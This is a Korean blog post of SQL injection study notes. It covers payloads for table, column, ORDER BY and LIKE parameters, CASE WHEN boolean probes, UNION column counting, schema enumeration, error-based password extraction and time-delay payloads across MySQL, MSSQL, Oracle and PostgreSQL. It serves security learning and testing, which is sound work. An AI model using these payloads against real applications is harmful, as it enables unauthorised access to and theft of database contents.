SQL 인젝션 시 주요 파라미터에 어떻게 공격해야 하는지 그리고 주요 인젝션 기법을 알아보자!
인젝션 시 쿼리를 DB에 직접 테스트하며 공격하는 것이 효과적이다.
아래 MySQL 온라인 에디터를 참고하자.
https://onecompiler.com/mysql
문자열 연결 연산자
MYSQL : 공백 (%20)
MSSQL : +
Oracle : ||
정상 응답
SELECT * FROM member WHERE id='inject'%20'ion'
SELECT * FROM EMPLOYEE WHERE dept = 'Accoun'||'ting';
에러 발생
SELECT * FROM EMPLOYEE WHERE dept = 'Accoun'x'ting';
+, 공백 삽입 시 URL 인코딩 해 요청해야 함
사용자 입력 값이 "테이블 값으로 반영"되는 경우가 있음
테이블 파라미터 = tbname, name 등의 값 사용함
서버에서 사용하는 쿼리
SELECT * FROM EMPLOYEE WHERE dept = 'Sales';
테이블 값으로 반영되는 파라미터에서는 and '1'='1 구문 사용 시 에러 발생함

tbname where 1=1
테이블 이름과 where 1=1 구문 조합해 True 반환 시도
서버에 반영되는 쿼리 : SELECT * FROM EMPLOYEE where 1=1 ORDER BY name asc
column_name where 1=2
테이블 이름과 where 1=2 구문 조합해 False 반환 시도
서버에 반영되는 쿼리 : SELECT * FROM EMPLOYEE where 1=2 ORDER BY name asc
column name where 1=1 --
where 절이 존재하는 것으로 추정되면 주석 사용해 where 절 삭제 시도
서버에 반영되는 쿼리 : SELECT * FROM EMPLOYEE where 1=1 -- -WHERE dept = 'Sales';
게시판 검색 시 제목/내용/작성자/제목+내용 등의 검색 조건을 지정해 검색할 때 "where 절 뒤의 컬럼 명으로 반영"되어 사용하는 파라미터임
서버에서 사용하는 쿼리
SELECT * FROM EMPLOYEE WHERE dept like '%%'
search_column=1
select * from employee where 1 like '%%' 이 쿼리는 사실상 의미가 없는 쿼리임. WHERE 1 LIKE '%%'는 항상 참이 되는 조건이며 1은 숫자 리터럴이고, '%%'는 빈 문자열을 포함하는 모든 문자열과 매칭되는 패턴임.
따라서 이 조건은 항상 참이 되어, SELECT * FROM EMPLOYEE와 동일한 결과를 반환함.
서버에 반영되는 쿼리 : SELECT * FROM EMPLOYEE where 1 like '%%';
search_column=x
서버에 반영되는 쿼리 : SELECT * FROM EMPLOYEE where x like '%%';
사용자 입력 값이 "ORDER BY 절 뒤의 컬럼 명으로 반영"되어 정렬의 조건으로 사용되는 경우가 있음. 예를 들어 '이름'으로 정렬 시 아래 쿼리를 사용함
select * from employee order by name;
즉, 아래 구문의 idx 컬럼이 사용자 입력 값으로 사용될 때 가능한 공격
select * from board ORDER BY idx desc
sort_column=1
order by 절은 컬럼 이름 대신 숫자로 컬럼을 인식할 수 있음
테이블에 5개의 컬럼이 있다면 값 5는 참 반환함
하지만 6 또는 a 삽입 시 거짓 반환
sort_column=5 , sort_column=a
서버에서 사용하는 쿼리
select * from board ORDER BY idx desc
위 구문의 desc가 사용자 입력값으로 삽입될 때 가능한 공격
파라미터 이름은 sort_type 이름으로 자주 사용되며 desc, asc 값을 입력받음
desc, asc 값으로 정렬하고 있다면 키워드로 정렬하는 것임
, 1 삽입해 정렬 유무 파악해야 함
기존 쿼리 : select * from board order by idx desc;
서버에 반영되는 쿼리
select * from board ORDER BY idx, 1 # True 반환
참 반환하면 컬럼과 관계없는 값 삽입해 정렬 유무 파악해야 함
기존 쿼리 : select * from board order by idx desc;
서버에 반영되는 쿼리
select * from board ORDER BY idx, a # False 반환
또는 컬럼 개수를 추측해 삽입할 수도 있음
테이블의 컬럼은 3개이지만 4번째 컬럼 삽입 결과, 에러 발생

실무에서는 ' and '1'='1, ' or '1'='1 와 같은 뻔한? 공격 페이로드로 인젝션 취약점을 찾은 적이 있지만 항상 이 구문으로 찾기는 쉽지않다.
실무에서는 case when 구문을 가장 많이 사용한다.
case whwn [조건] then [참] else [거짓] end
case when 조건이 참일 경우 then 코드 실행, 조건이 거짓일 경우 else 코드 실행
아래 코드 조건은 1=1, 참이기 때문에 then 구문의 값 'dave'가 입력 값으로 사용됨
(case when 1=1 then 'dave' else 'attack' end)
서버에 반영되는 쿼리
select * from employee where name=(case when 1=1 then 'dave' else 'attack' end)
where 절 뒤에는 case when 구문을 사용할 수 없음!!
1 and 1=1, 1 and 1=2 쿼리를 사용하며 or 연산자는 사용할 수 없음
서버에 반영되는 쿼리
select * from employee where 1 and 1=1
select * from employee where 1 and 1=2
select * from employee where empId=(case when 1=1 then 0002 else 0003 end)
MySQL (CONCAT 함수)
SELECT * FROM employee WHERE name = CONCAT('D', CASE WHEN 1=1 THEN 'ave' ELSE 'Ava' END);
SELECT * FROM employee WHERE name = CONCAT(CASE WHEN 1=2 THEN 'ave' ELSE 'Ava' END);
ORACLE, PostgreSQL (||)
select * from EMPLOYEE where name=''|| case when 1=2 then 'ave' else 'Ava' end;
MSSQL (+)
SELECT * FROM employee WHERE name = 'D' + CASE WHEN 1=1 THEN 'ave' ELSE 'Ava' END;
ORDER BY 절 뒤에는 컬럼 이름이 존재, case when 구문을 컬럼 이름 대신 삽입하면 인젝션 가능
SELECT * FROM EMPLOYEE order by name desc
위 구문의 name 컬럼 대신 (case when 1=2 then empId else name end) 공격 구문 삽입 가능
=> SELECT * FROM EMPLOYEE order by (case when 1=2 then empId else name end) desc
like 연산자 사용하는 검색 기능에서도 사용 가능, case when 구문을 검색어 대신 삽입하면 인젝션 가능
SELECT * FROM EMPLOYEE where name like %검색어%
=> SELECT * FROM EMPLOYEE where name like '%Da'||(case when 1=1 then 'v' else 'sql' end)||'e%'; # Oracle
=> SELECT * FROM EMPLOYEE where name like '%Da'+(case when 1=2 then 'v' else 'n' end)+'e%'; # MSSQL
=> SELECT * FROM EMPLOYEE WHERE dept LIKE (CASE WHEN 1=1 THEN CONCAT('%Acc', 'ount%') ELSE 'ccc' END); # MySQL
MySQL은 concat 함수를 사용함
MySQL 8.0 이상에서 PIPES_AS_CONCAT 모드가 활성화 되어 있으면 || 연산자를 사용할 수 있음
애플리케이션이 SQL 인젝션에 취약해 쿼리 결과가 애플리케이션의 응답 내에 반환되는 경우 UNION 키워드로 두 개 이상의 SELECT 쿼리를 결합하여 데이터베이스 내의 다른 테이블에서 데이터를 검색할 수 있다. 이를 일반적으로 UNION SQL Injection이라고 한다.
SELECT column1, column2 FROM table1
UNION
SELECT column1, column2 FROM table2;
UNION은 두 개의 SELECT 쿼리를 합쳐 하나의 결과로 반환하는데 SELECT하는 열(column) 개수와 데이터 타입이 일치해야 한다. 단, MySQL은 형변환이 이루어지는 경우가 있어 반드시 데이터 타입이 일치해야 하는 것은 아니다.
order by 방식과 union select 두 가지 방식이 있음
order by 절의 열 인덱스를 계속 증가시켜 응답 값이 없는 인덱스 또는 DB 에러가 발생하는 인덱스를 찾아야 함
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
ORDER BY 절의 열은 인덱스로 지정할 수 있으므로 열의 이름을 알 필요가 없음
지정된 열 인덱스가 반환되는 쿼리 결과의 실제 컬럼 수를 초과하면 데이터베이스는 다음과 같은 오류를 반환함
The ORDER BY position number 3 is out of range of the number of items in the select list.
각 컬럼의 데이터 유형이 원본 쿼리와 삽입된 쿼리 간에 호환되어야 하므로 삽입된 SELECT 쿼리에서 반환되는 값으로 NULL을 사용함
NULL은 일반적인 데이터 유형으로 변환할 수 있으므로 컬럼 수가 정확할 때 페이로드가 성공할 확률이 높음
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
UNION SELECT NULL FROM DUAL--
ORDER BY 기법과 마찬가지로 애플리케이션은 실제로 HTTP 응답에 데이터베이스 오류를 반환할 수도 있지만 일반 오류를 반환하거나 단순히 결과를 반환하지 않을 수도 있음
null의 수가 컬럼 수와 일치하면 데이터베이스는 반환하는 쿼리 결과의 각 컬럼에 null 값을 포함하는 추가 행을 반환함. HTTP 응답에 미치는 영향은 애플리케이션의 코드에 따라 다르기 때문에 응답 내에 HTML 테이블의 추가 행과 같은 추가 콘텐츠가 표시될 수 있음
그렇지 않으면 Null 값으로 인해 NullPointerException과 같은 다른 오류가 트리거될 수 있고 최악의 경우 응답이 잘못된 널 수로 인한 응답과 동일하게 보일 수 있음 이러한 경우 union sql 인젝션은 효율이 떨어짐
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
지정된 길이의 지정된 오프셋에서 문자열의 일부를 추출할 수 있다. 오프셋 인덱스는 1을 기준으로 합니다. 다음 각 표현식은 문자열 ba를 반환한다.
주석을 사용하여 쿼리를 잘라내고 원래 쿼리에서 입력한 내용 뒤에 오는 부분을 제거할 수 있다.
/*comment*//*comment*//*comment*/데이터베이스를 쿼리하여 유형과 버전을 확인할 수 있다.
이 정보는 더 복잡한 공격을 공식화할 때 유용하다.
SELECT banner FROM v$versionSELECT version FROM v$instanceSELECT @@versionSELECT version()SELECT @@version데이터베이스에 존재하는 테이블과 해당 테이블에 포함된 열을 나열할 수 있다.
SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'단일 boolean 조건을 테스트하고 조건이 참이면 데이터베이스 오류를 트리거할 수 있다.
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dualSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')악성 쿼리가 반환한 민감한 데이터를 유출하는 오류 메시지를 유도할 수 있다.
SELECT 'foo' WHERE 1 = (SELECT 'secret')SELECT CAST((SELECT password FROM users LIMIT 1) AS int)SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))batched 쿼리를 사용하여 여러 쿼리를 연속으로 실행할 수 있다. 후속 쿼리가 실행되는 동안에는 결과가 애플리케이션에 반환되지 않는다는 점에 유의해야 한다. 따라서 이 기술은 주로 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있는 블라인드 인젝션에서 사용할 수 있다.
QUERY-1-HERE; QUERY-2-HEREQUERY-1-HERE QUERY-2-HEREQUERY-1-HERE; QUERY-2-HEREQUERY-1-HERE; QUERY-2-HERE
- Note
MySQL에서는 일반적으로 일괄 처리 쿼리를 SQL 인젝션에 사용할 수 없다. 그러나 대상 애플리케이션이 특정 PHP 또는 Python API를 사용하여 MySQL 데이터베이스와 통신하는 경우 간혹 가능하다.
쿼리가 처리될 때 데이터베이스에 시간 지연이 발생할 수 있다.
다음은 무조건 10초의 시간 지연을 유발한다.
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dualIF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) ENDSELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')https://velog.io/@inmo/Oracle-Blind-SQL-%EC%9D%B8%EC%A0%9D%EC%85%98
https://velog.io/@inmo/What-is-UNION-Error-Based-SQL-Injection
https://portswigger.net/web-security/sql-injection/union-attacks
https://velog.io/@inmo/Blind-SQL-injection-automation-attack-tools-Feat.-Python
https://velog.io/@inmo/What-is-Blind-SQL-Injection
https://velog.io/@inmo/Normaltic-CTF-UNION-SQL-Injection
https://velog.io/@inmo/SQL-Injection-%EB%A1%9C%EA%B7%B8%EC%9D%B8-%EB%A1%9C%EC%A7%81-%EC%9A%B0%ED%9A%8C-Part-1
https://velog.io/@inmo/What-is-SQL-Injection-Login-Bypass
https://velog.io/@inmo/SQL-InjectionUnion-based-2
https://velog.io/@inmo/SQL-InjectionUnion-Based
https://velog.io/@inmo/Dreamhack-simplesqlichatgpt-%ED%92%80%EC%9D%B4
https://velog.io/@inmo/Lord-of-SQLInjection-orc
https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://portswigger.net/web-security/sql-injection/cheat-sheet